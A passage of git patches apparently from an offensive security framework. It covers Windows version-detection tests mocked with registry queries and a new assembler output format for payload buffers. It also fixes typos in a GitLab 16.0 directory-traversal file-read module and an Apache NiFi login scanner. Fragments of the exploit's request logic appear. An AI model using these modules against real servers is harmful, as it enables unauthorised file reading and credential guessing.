let(:current_version) do + 'CurrentVersion' end - let(:server2008_sp2_systeminfo) do - 'Host Name: WIN2008DC -OS Name: Microsoftr Windows Serverr 2008 Standard -OS Version: 6.0.6002 Service Pack 2 Build 6002 -OS Manufacturer: Microsoft Corporation -OS Configuration: Primary Domain Controller -OS Build Type: Multiprocessor Free -Registered Owner: Windows User -Registered Organization: -Product ID: 92573-082-2500115-76258 -Original Install Date: 7/7/2022, 9:49:59 AM -System Boot Time: 11/29/2022, 9:44:06 AM -System Manufacturer: QEMU -System Model: Standard PC (i440FX + PIIX, 1996) -System Type: x64-based PC -Processor(s): 1 Processor(s) Installed. - [01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz -BIOS Version: SeaBIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org, 4/1/2014 -Windows Directory: C:\Windows -System Directory: C:\Windows\system32 -Boot Device: \Device\HarddiskVolume1 -System Locale: en-us;English (United States) -Input Locale: en-us;English (United States) -Time Zone: (GMT+10:00) Canberra, Melbourne, Sydney -Total Physical Memory: 4,095 MB -Available Physical Memory: 2,833 MB -Page File: Max Size: 8,363 MB -Page File: Available: 7,083 MB -Page File: In Use: 1,280 MB -Page File Location(s): C:\pagefile.sys -Domain: pod7.local -Logon Server: \\WIN2008DC -Hotfix(s): 1 Hotfix(s) Installed. - [01]: KB955430 -Network Card(s): 1 NIC(s) Installed. - [01]: Intel(R) PRO/1000 MT Network Connection - Connection Name: Local Area Connection - DHCP Enabled: Yes - DHCP Server: 192.168.20.1 - IP address(es) - [01]: 192.168.20.99 - [02]: fe80::4d31:5b50:425a:4df0' + let(:service_pack) do + 'CSDVersion' end - let(:win10_systeminfo) do - 'Host Name: WIN10BASE -OS Name: Microsoft Windows 10 Pro -OS Version: 10.0.19045 N/A Build 19045 -OS Manufacturer: Microsoft Corporation -OS Configuration: Standalone Workstation -OS Build Type: Multiprocessor Free -Registered Owner: smash -Registered Organization: -Product ID: 00331-20300-00000-AA252 -Original Install Date: 10/05/2021, 5:43:57 PM -System Boot Time: 2/12/2022, 5:02:02 PM -System Manufacturer: QEMU -System Model: Standard PC (i440FX + PIIX, 1996) -System Type: x64-based PC -Processor(s): 2 Processor(s) Installed. - [01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz - [02]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz -BIOS Version: SeaBIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org, 1/04/2014 -Windows Directory: C:\WINDOWS -System Directory: C:\WINDOWS\system32 -Boot Device: \Device\HarddiskVolume1 -System Locale: en-us;English (United States) -Input Locale: en-us;English (United States) -Time Zone: (UTC+10:00) Canberra, Melbourne, Sydney -Total Physical Memory: 10,239 MB -Available Physical Memory: 5,545 MB -Virtual Memory: Max Size: 11,839 MB -Virtual Memory: Available: 6,416 MB -Virtual Memory: In Use: 5,423 MB -Page File Location(s): C:\pagefile.sys -Domain: WORKGROUP -Logon Server: \\\\WIN10BASE -Hotfix(s): 17 Hotfix(s) Installed. - [01]: KB5020613 - [02]: KB4562830 - [03]: KB4577586 - [04]: KB4580325 - [05]: KB5000736 - [06]: KB5012170 - [07]: KB5015684 - [08]: KB5019959 - [09]: KB5011352 - [10]: KB5011651 - [11]: KB5014032 - [12]: KB5014035 - [13]: KB5014671 - [14]: KB5015895 - [15]: KB5016705 - [16]: KB5018506 - [17]: KB5005699 -Network Card(s): 1 NIC(s) Installed. - [01]: Intel(R) PRO/1000 MT Network Connection - Connection Name: Ethernet - DHCP Enabled: Yes - DHCP Server: 192.168.20.1 - IP address(es) - [01]: 192.168.20.230 - [02]: fe80::47ee:641f:d05d:34f6 -Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.' + let(:minor_version) do + 'CurrentMinorVersionNumber' end - let(:server2022_systeminfo) do - 'Host Name: twenty22 -OS Name: Microsoft Windows Server 2022 Datacenter Azure Edition -OS Version: 10.0.20348 N/A Build 20348 -OS Manufacturer: Microsoft Corporation -OS Configuration: Standalone Server -OS Build Type: Multiprocessor Free -Registered Owner: N/A -Registered Organization: N/A -Product ID: 00446-90000-00000-AA477 -Original Install Date: 12/2/2022, 5:01:55 AM -System Boot Time: 12/2/2022, 5:02:20 AM -System Manufacturer: Microsoft Corporation -System Model: Virtual Machine -System Type: x64-based PC -Processor(s): 1 Processor(s) Installed. - [01]: Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~2095 Mhz -BIOS Version: Microsoft Corporation Hyper-V UEFI Release v4.1, 5/10/2022 -Windows Directory: C:\Windows -System Directory: C:\Windows\system32 -Boot Device: \Device\HarddiskVolume3 -System Locale: en-us;English (United States) -Input Locale: en-us;English (United States) -Time Zone: (UTC) Coordinated Universal Time -Total Physical Memory: 4,095 MB -Available Physical Memory: 1,753 MB -Virtual Memory: Max Size: 5,119 MB -Virtual Memory: Available: 2,794 MB -Virtual Memory: In Use: 2,325 MB -Page File Location(s): D:\pagefile.sys -Domain: WORKGROUP -Logon Server: \\\\twenty22 -Hotfix(s): 4 Hotfix(s) Installed. - [01]: KB5020619 - [02]: KB5012170 - [03]: KB5019081 - [04]: KB5017399 -Network Card(s): 1 NIC(s) Installed. - [01]: Microsoft Hyper-V Network Adapter - Connection Name: Ethernet - DHCP Enabled: Yes - DHCP Server: 168.63.129.16 - IP address(es) - [01]: 10.1.0.4 - [02]: fe80::9232:386b:229f:402f -Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.' + let(:major_version) do + 'CurrentMajorVersionNumber' end - let(:server2012_systeminfo) do - 'Host Name: WIN2012DC -OS Name: Microsoft Windows Server 2012 Standard -OS Version: 6.2.9200 N/A Build 9200 -OS Manufacturer: Microsoft Corporation -OS Configuration: Primary Domain Controller -OS Build Type: Multiprocessor Free -Registered Owner: Windows User -Registered Organization: -Product ID: 00184-30000-00001-AA641 -Original Install Date: 8/09/2021, 3:22:39 AM -System Boot Time: 27/10/2022, 1:09:24 PM -System Manufacturer: QEMU -System Model: Standard PC (i440FX + PIIX, 1996) -System Type: x64-based PC -Processor(s): 2 Processor(s) Installed. - [01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz - [02]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz -BIOS Version: SeaBIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org, 1/04/2014 -Windows Directory: C:\Windows -System Directory: C:\Windows\system32 -Boot Device: \Device\HarddiskVolume1 -System Locale: en-au;English (Australia) -Input Locale: en-us;English (United States) -Time Zone: (UTC+10:00) Canberra, Melbourne, Sydney -Total Physical Memory: 5,095 MB -Available Physical Memory: 2,811 MB -Virtual Memory: Max Size: 5,927 MB -Virtual Memory: Available: 3,460 MB -Virtual Memory: In Use: 2,467 MB -Page File Location(s): C:\pagefile.sys -Domain: pod8.lan -Logon Server: \\\\WIN2012DC -Hotfix(s): 1 Hotfix(s) Installed. - [01]: KB2999226 -Network Card(s): 1 NIC(s) Installed. - [01]: Intel(R) PRO/1000 MT Network Connection - Connection Name: Ethernet - DHCP Enabled: Yes - DHCP Server: 192.168.20.1 - IP address(es) - [01]: 192.168.20.210 - [02]: fe80::3d4f:28f8:dff2:5b29 -Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.' + let(:product_type_key) do + 'HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions' end - let(:server2008r2_sp1_systeminfo) do - 'Host Name: WIN-QL13MCNSIB2 -OS Name: Microsoft Windows Server 2008 R2 Standard -OS Version: 6.1.7601 Service Pack 1 Build 7601 -OS Manufacturer: Microsoft Corporation -OS Configuration: Standalone Server -OS Build Type: Multiprocessor Free -Registered Owner: Windows User -Registered Organization: -Product ID: 00477-179-0000007-84039 -Original Install Date: 12/6/2022, 4:07:05 AM -System Boot Time: 12/5/2022, 8:23:53 PM -System Manufacturer: QEMU -System Model: Standard PC (i440FX + PIIX, 1996) -System Type: x64-based PC -Processor(s): 2 Processor(s) Installed. - [01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz - [02]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz -BIOS Version: SeaBIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org, 4/1/2014 -Windows Directory: C:\Windows -System Directory: C:\Windows\system32 -Boot Device: \Device\HarddiskVolume1 -System Locale: en-us;English (United States) -Input Locale: en-us;English (United States) -Time Zone: (UTC-08:00) Pacific Time (US & Canada) -Total Physical Memory: 2,047 MB -Available Physical Memory: 1,310 MB -Virtual Memory: Max Size: 4,095 MB -Virtual Memory: Available: 3,197 MB -Virtual Memory: In Use: 898 MB -Page File Location(s): C:\pagefile.sys -Domain: WORKGROUP -Logon Server: \\\\WIN-QL13MCNSIB2 -Hotfix(s): 1 Hotfix(s) Installed. - [01]: KB976902 -Network Card(s): 1 NIC(s) Installed. - [01]: Intel(R) PRO/1000 MT Network Connection - Connection Name: Local Area Connection - DHCP Enabled: Yes - DHCP Server: 192.168.20.1 - IP address(es) - [01]: 192.168.20.130 - [02]: fe80::1469:cb66:dc1d:78bc' + let(:product_type) do + 'ProductType' end - context "#systeminfo_parsed" do - it "parses systeminfo on XP" do - allow(subject).to receive(:cmd_exec) { xp_sp2_systeminfo } + context "#calculates_version_num" do + it "XP SP2" do + respond_to_reg_query(subject, current_version_key, current_build_number, '2600', 'REG_SZ') + respond_to_reg_query(subject, current_version_key, current_version, '5.1', 'REG_SZ') + respond_to_reg_query(subject, current_version_key, service_pack, 'Service Pack 2', 'REG_SZ') + respond_to_reg_query(subject, product_type_key, product_type, 'WinNT', 'REG_SZ') allow(subject).to receive_message_chain('session.type').and_return('shell') version = subject.get_version_info expect(version.build_number).to eq(Msf::WindowsVersion::XP_SP2) @@ -357,8 +64,11 @@ expect(version.domain_controller?).to eq(false) end - it "parses systeminfo on 2003" do - allow(subject).to receive(:cmd_exec) { server2003_sp1_systeminfo } + it "2003 SP1" do + respond_to_reg_query(subject, current_version_key, current_build_number, '3790', 'REG_SZ') + respond_to_reg_query(subject, current_version_key, current_version, '5.2', 'REG_SZ') + respond_to_reg_query(subject, current_version_key, service_pack, 'Service Pack 1', 'REG_SZ') + respond_to_reg_query(subject, product_type_key, product_type, 'ServerNT', 'REG_SZ') allow(subject).to receive_message_chain('session.type').and_return('shell') version = subject.get_version_info expect(version.build_number).to eq(Msf::WindowsVersion::Server2003_SP1) @@ -366,8 +76,12 @@ expect(version.domain_controller?).to eq(false) end - it "parses systeminfo on Win10" do - allow(subject).to receive(:cmd_exec) { win10_systeminfo } + it "Win10" do + respond_to_reg_query(subject, current_version_key, current_build_number, '19045', 'REG_SZ') + respond_to_reg_query(subject, current_version_key, current_version, '6.3', 'REG_SZ') + respond_to_reg_query(subject, current_version_key, major_version, '0xa', 'REG_DWORD') + respond_to_reg_query(subject, current_version_key, minor_version, '0x0', 'REG_DWORD') + respond_to_reg_query(subject, product_type_key, product_type, 'WinNT', 'REG_SZ') allow(subject).to receive_message_chain('session.type').and_return('shell') version = subject.get_version_info expect(version.build_number).to eq(Msf::WindowsVersion::Win10_22H2) @@ -375,41 +89,28 @@ expect(version.domain_controller?).to eq(false) end - it "parses systeminfo on 2022" do - allow(subject).to receive(:cmd_exec) { server2022_systeminfo } + it "Server 2022" do + respond_to_reg_query(subject, current_version_key, current_build_number, '20348', 'REG_SZ') + respond_to_reg_query(subject, current_version_key, current_version, '6.3', 'REG_SZ') + respond_to_reg_query(subject, current_version_key, major_version, '0xa', 'REG_DWORD') + respond_to_reg_query(subject, current_version_key, minor_version, '0x0', 'REG_DWORD') + respond_to_reg_query(subject, product_type_key, product_type, 'LanmanNT', 'REG_SZ') allow(subject).to receive_message_chain('session.type').and_return('shell') version = subject.get_version_info expect(version.build_number).to eq(Msf::WindowsVersion::Server2022) expect(version.windows_server?).to eq(true) - expect(version.domain_controller?).to eq(false) - end - - it "parses systeminfo on 2012" do - allow(subject).to receive(:cmd_exec) { server2012_systeminfo } - allow(subject).to receive_message_chain('session.type').and_return('shell') - version = subject.get_version_info - expect(version.build_number).to eq(Msf::WindowsVersion::Server2012) - expect(version.windows_server?).to eq(true) expect(version.domain_controller?).to eq(true) end - it "parses systeminfo on 2008R2" do - allow(subject).to receive(:cmd_exec) { server2008r2_sp1_systeminfo } + it "Windows 2000 German" do + allow(subject).to receive(:cmd_exec).with("ver") { "Microsoft Windows 2000 [Version 5.00.2195]" } + allow(subject).to receive(:cmd_exec).with("reg query \"#{current_version_key}\" /v #{current_build_number}") { "Der Befehl \"reg\" ist entweder falsch geschrieben oder\r\nkonnte nicht gefunden werden." } allow(subject).to receive_message_chain('session.type').and_return('shell') version = subject.get_version_info - expect(version.build_number).to eq(Msf::WindowsVersion::Server2008_R2_SP1) - expect(version.windows_server?).to eq(true) + expect(version.build_number).to eq(Msf::WindowsVersion::Win2000) + expect(version.windows_server?).to eq(false) expect(version.domain_controller?).to eq(false) end - it "parses systeminfo on 2008" do - allow(subject).to receive(:cmd_exec) { server2008_sp2_systeminfo } - allow(subject).to receive_message_chain('session.type').and_return('shell') - version = subject.get_version_info - expect(version.build_number).to eq(Msf::WindowsVersion::Server2008_SP2) - expect(version.windows_server?).to eq(true) - expect(version.domain_controller?).to eq(true) - end - end end From cf9f9905e3a0e433e0304edf20ad12891d3e6e3b Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Tue, 30 May 2023 17:30:57 -0500 Subject: [PATCH 238/415] Fix more typos --- .../http/gitlab_subgroups_file_read.md | 2 +- .../http/gitlab_subgroups_file_read.rb | 29 +++++++++---------- 2 files changed, 15 insertions(+), 16 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md b/documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md index 8c9e662e831b4..913ffdbea25d9 100644 --- a/documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md +++ b/documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md @@ -1,6 +1,6 @@ ## Vulnerable Application -GitLab version 16.0 contains a directory traversal for arbitrary file read as the `gitlab` user. +GitLab version 16.0 contains an authenticated directory traversal for arbitrary file read as the `gitlab` user. In order to exploit this vulnerability, a user must be able to create a project and groups. When exploiting this vulnerability, a group (or subgroup under the group) must be created for each level of the traversal. If the depth is 11 for the dir traversal, then a group diff --git a/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb b/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb index a6f71598a9cc7..c5f27d06b57e4 100644 --- a/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb +++ b/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb @@ -17,7 +17,7 @@ def initialize(info = {}) info, 'Name' => 'GitLab Authenticated File Read', 'Description' => %q{ - Gitlab version 16.0 contains a directory traversal for arbitrary file read as the gitlab user. + Gitlab version 16.0 contains an authenticated directory traversal for arbitrary file read as the gitlab user. In order to exploit this vulnerability, a user must be able to create a project and groups. When exploiting this vulnerability, a group (or subgroup under the group) must be created for each level of the traversal. If the depth is 11 for the dir traversal, then a group @@ -25,13 +25,11 @@ def initialize(info = {}) With all these requirements satisfied a dummy file is uploaded, and the full traversal is then executed. Cleanup is performed by deleting the first group which cascades to deleting all other objects created. - - Tested on Docker image of gitlab 16.0 }, 'Author' => [ - 'h00die', # msf module - 'pwnie', # discovery on hackerone - 'Vitellozzo', # PoC on github + 'h00die', # MSF module + 'pwnie', # Discovery on HackerOne + 'Vitellozzo' # PoC on Github ], 'References' => [ ['URL', 'https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/'], @@ -73,9 +71,9 @@ def check_host(_ip) version = Rex::Version.new(gitlab_version) - return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") unless ( - version == Rex::Version.new('16.0.0') - ) + if version != Rex::Version.new('16.0.0') + return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") + end report_vuln( host: rhost, @@ -83,6 +81,7 @@ def check_host(_ip) refs: references, info: [version] ) + return Exploit::CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.") rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError return Exploit::CheckCode::Detected('Could not detect the version because authentication failed.') @@ -97,7 +96,7 @@ def run_host(ip) 'uri' => normalize_uri(target_uri.path) }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? - fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 csrf_token = get_csrf(res.body) vprint_good("CSRF Token: #{csrf_token}") @@ -124,7 +123,7 @@ def run_host(ip) } }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? - fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 csrf_token = get_csrf(res.body) vprint_good("CSRF Token: #{csrf_token}") @@ -152,7 +151,7 @@ def run_host(ip) } }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? - fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 302 + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302 csrf_token = get_csrf(res.body) project_id = res.headers['Location'].to_s.split('/')[3..].join('/') # strip off http[s]://ip/, seems like there should be a better way to do this though @@ -180,7 +179,7 @@ def run_host(ip) ] }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? - fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 res = res.get_json_document file_url = res['link']['url'] # remove our file name @@ -200,7 +199,7 @@ def run_host(ip) if res.code == 500 print_error("Unable to read file (permissions, or file doens't exist)") elsif res.code != 200 - print_error("#{peer} - Unexpected Respones Code (response code: #{res.code})") # don't fail_with so we can cleanup + print_error("#{peer} - Unexpected response code (#{res.code})") # don't fail_with so we can cleanup end if !res.body.empty? && res.code == 200 @@ -224,6 +223,6 @@ def run_host(ip) } }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? - fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 302 + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302 end end From 4b1158d5f157b3ac7ce6b014a6ff1d763ec5f105 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Wed, 31 May 2023 11:24:33 +1000 Subject: [PATCH 239/415] Use existing shell registry logic --- lib/msf/core/post/windows/version.rb | 27 +++++-------------- lib/msf/core/windows_version.rb | 1 - .../lib/msf/core/post/windows/version_spec.rb | 8 +++--- 3 files changed, 11 insertions(+), 25 deletions(-) diff --git a/lib/msf/core/post/windows/version.rb b/lib/msf/core/post/windows/version.rb index 86d22d701961f..1533b61f76b2d 100644 --- a/lib/msf/core/post/windows/version.rb +++ b/lib/msf/core/post/windows/version.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- module Msf::Post::Windows::Version +include Msf::Post::Windows::Registry def initialize(info = {}) super( @@ -17,18 +18,6 @@ def initialize(info = {}) ) end - def registry_query(key, value) - cmd = 'reg query "' + key + '" /v ' + value - raw_output = cmd_exec(cmd) - regexp = "#{value}\\s+REG_\\w+\\s+(.*)" - groups = raw_output.match(regexp) - if groups.nil? - return nil - end - - groups[1] - end - def get_version_info result = get_version_info_impl if result.nil? @@ -65,12 +54,12 @@ def get_version_info_impl Msf::WindowsVersion.new(major, minor, build, service_pack, product_type) else # Command shell - we'll try reg commands, and fall back to `ver` - build_str = registry_query('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentBuildNumber') + build_str = shell_registry_getvaldata('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentBuildNumber', Msf::Post::Windows::Registry::REGISTRY_VIEW_NATIVE) if build_str.nil? return get_version_info_fallback_impl end - version_str = registry_query('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentVersion') + version_str = shell_registry_getvaldata('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentVersion', Msf::Post::Windows::Registry::REGISTRY_VIEW_NATIVE) if version_str.nil? return get_version_info_fallback_impl end @@ -85,7 +74,7 @@ def get_version_info_impl major = major.to_i minor = minor.to_i - product = registry_query('HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions', 'ProductType') + product = shell_registry_getvaldata('HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions', 'ProductType', Msf::Post::Windows::Registry::REGISTRY_VIEW_NATIVE) case product when /WinNT/ product_type = Msf::WindowsVersion::VER_NT_WORKSTATION @@ -99,18 +88,16 @@ def get_version_info_impl if major == 6 and minor == 3 and build_num > 9600 # 9600 is Windows 8.1 build number # This is Windows 10+ - the version numbering is calculated differently - major = registry_query('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentMajorVersionNumber') - minor = registry_query('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentMinorVersionNumber') + major = shell_registry_getvaldata('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentMajorVersionNumber', Msf::Post::Windows::Registry::REGISTRY_VIEW_NATIVE) + minor = shell_registry_getvaldata('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentMinorVersionNumber', Msf::Post::Windows::Registry::REGISTRY_VIEW_NATIVE) if major.nil? or minor.nil? return get_version_info_fallback_impl end - major = major.to_i(16) - minor = minor.to_i(16) Msf::WindowsVersion.new(major, minor, build_num, 0, product_type) else # Pre-Windows 10 - service_pack_raw = registry_query('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CSDVersion') + service_pack_raw = shell_registry_getvaldata('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CSDVersion', Msf::Post::Windows::Registry::REGISTRY_VIEW_NATIVE) service_pack = 0 unless service_pack_raw.nil? match = service_pack_raw.match(/Service Pack (\d+)/) diff --git a/lib/msf/core/windows_version.rb b/lib/msf/core/windows_version.rb index a90de384df820..ff3de2d7e5511 100644 --- a/lib/msf/core/windows_version.rb +++ b/lib/msf/core/windows_version.rb @@ -9,7 +9,6 @@ class WindowsVersion VER_NT_WORKSTATION = 1 VER_NT_DOMAIN_CONTROLLER = 2 VER_NT_SERVER = 3 - UnknownProduct = -1 Win2000 = Rex::Version.new('5.0.2195') XP_SP0 = Rex::Version.new('5.1.2600.0') diff --git a/spec/lib/msf/core/post/windows/version_spec.rb b/spec/lib/msf/core/post/windows/version_spec.rb index 2dbdf500f14c8..963543be44f2c 100644 --- a/spec/lib/msf/core/post/windows/version_spec.rb +++ b/spec/lib/msf/core/post/windows/version_spec.rb @@ -14,13 +14,13 @@ end def respond_to_reg_query(subject, key, value, result, type) - command = "reg query \"#{key}\" /v #{value}" + command = "cmd.exe /c reg query \"#{key}\" /v \"#{value}\"" output = "\r\n#{key}\r\n #{value} #{type} #{result}\r\n" allow(subject).to receive(:cmd_exec).with(command) { output } end let(:current_version_key) do - 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion' + 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion' end let(:current_build_number) do @@ -44,7 +44,7 @@ def respond_to_reg_query(subject, key, value, result, type) end let(:product_type_key) do - 'HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions' + 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions' end let(:product_type) do @@ -103,8 +103,8 @@ def respond_to_reg_query(subject, key, value, result, type) end it "Windows 2000 German" do + allow(subject).to receive(:cmd_exec).with("cmd.exe /c reg query \"#{current_version_key}\" /v \"#{current_build_number}\"") { "Der Befehl \"reg\" ist entweder falsch geschrieben oder\r\nkonnte nicht gefunden werden." } allow(subject).to receive(:cmd_exec).with("ver") { "Microsoft Windows 2000 [Version 5.00.2195]" } - allow(subject).to receive(:cmd_exec).with("reg query \"#{current_version_key}\" /v #{current_build_number}") { "Der Befehl \"reg\" ist entweder falsch geschrieben oder\r\nkonnte nicht gefunden werden." } allow(subject).to receive_message_chain('session.type').and_return('shell') version = subject.get_version_info expect(version.build_number).to eq(Msf::WindowsVersion::Win2000) From 1fbba702de6edbcaa859f3ee29968b2e48f6dda3 Mon Sep 17 00:00:00 2001 From: shellchocolat Date: Wed, 31 May 2023 17:17:17 +0200 Subject: [PATCH 240/415] add support to masm formatting --- lib/msf/base/simple/buffer.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb index 5b2b49b4e91e3..f3bcd8deee8c7 100644 --- a/lib/msf/base/simple/buffer.rb +++ b/lib/msf/base/simple/buffer.rb @@ -63,6 +63,8 @@ def self.transform(buf, fmt = "ruby", var_name = 'buf', encryption_opts={}) buf = Rex::Text.encode_base64(buf) when 'go','golang' buf = Rex::Text.to_golang(buf) + when 'masm' + buf = Rex::Text.to_masm(buf) when 'nim','nimlang' buf = Rex::Text.to_nim(buf) when 'rust', 'rustlang' @@ -130,6 +132,7 @@ def self.transform_formats 'java', 'js_be', 'js_le', + 'masm', 'nim', 'nimlang', 'num', From 1fd2d4183574c8ece0f763fdd91df1daf8621fda Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 31 May 2023 10:34:10 -0500 Subject: [PATCH 241/415] Fix typos and add dig for safe navigation --- .../auxiliary/scanner/http/apache_nifi_login.md | 6 ++++-- modules/auxiliary/scanner/http/apache_nifi_login.rb | 13 +++++++------ 2 files changed, 11 insertions(+), 8 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md b/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md index 4aa70c07209f6..fa44390577fb0 100644 --- a/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md +++ b/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md @@ -1,6 +1,7 @@ ## Vulnerable Application -This attempts to login to Apache NiFi websites. +This module attempts to take login details for Apache NiFi websites +and identify if they are valid or not. Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.13.0 Also works against NiFi <= 1.13.0, but the module needs to be adjusted: @@ -45,7 +46,7 @@ docker log | grep Generated ## Scenarios -### Docker image 1.18.0 and 1.13.0 +### Docker image of Apache NiFi 1.18.0 ``` msf6 > use auxiliary/scanner/http/nifi_login @@ -71,6 +72,7 @@ msf6 auxiliary(scanner/http/nifi_login) > run [*] Auxiliary module execution completed ``` +### Docker image of Apache NiFi 1.13.0 ``` msf6 > use auxiliary/scanner/http/nifi_login msf6 auxiliary(scanner/http/nifi_login) > set rhosts 127.0.0.1 diff --git a/modules/auxiliary/scanner/http/apache_nifi_login.rb b/modules/auxiliary/scanner/http/apache_nifi_login.rb index 7c5b3e76c5ff9..92570e9a558b1 100644 --- a/modules/auxiliary/scanner/http/apache_nifi_login.rb +++ b/modules/auxiliary/scanner/http/apache_nifi_login.rb @@ -15,7 +15,8 @@ def initialize(info = {}) info, 'Name' => 'Apache NiFi Login Scanner', 'Description' => %q{ - This attempts to login to Apache NiFi websites. + This module attempts to take login details for Apache NiFi websites + and identify if they are valid or not. Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.13.0 Also works against NiFi <= 1.13.0, but the module needs to be adjusted: @@ -78,20 +79,20 @@ def run_host(ip) ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? - fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 - fail_with(Failure::UnexpectedReply, "Apache NiFi not detected on #{ip}") unless res.body =~ %r{js/nf/nf-namespace\.js\?([\d.]*)">} + fail_with(Failure::NotVulnerable, "Apache NiFi not detected on #{ip}") unless res.body =~ %r{js/nf/nf-namespace\.js\?([\d.]*)">} res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'access', 'config') ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? - fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200 + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 res_json = res.get_json_document - unless res_json['config']['supportsLogin'] - print_good("#{peer} - User login not supported, try visiting /nifi to gain access") + unless res_json.dig('config', 'supportsLogin') + print_error("#{peer} - User login not supported, try visiting /nifi to gain access") return end From 6ad9ebb5c082a12c4263c59634c835d06f96c780 Mon Sep 17 00:00:00 2001 From: Catatonic Prime Date: Wed, 31 May 2023 08:48:53 -0700 Subject: [PATCH 242/415] Update modules/exploits/multi/http/papercut_ng_auth_bypass.rb Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com> --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 3af81b873a4bf..32d66bed3b3ea 100644 --- 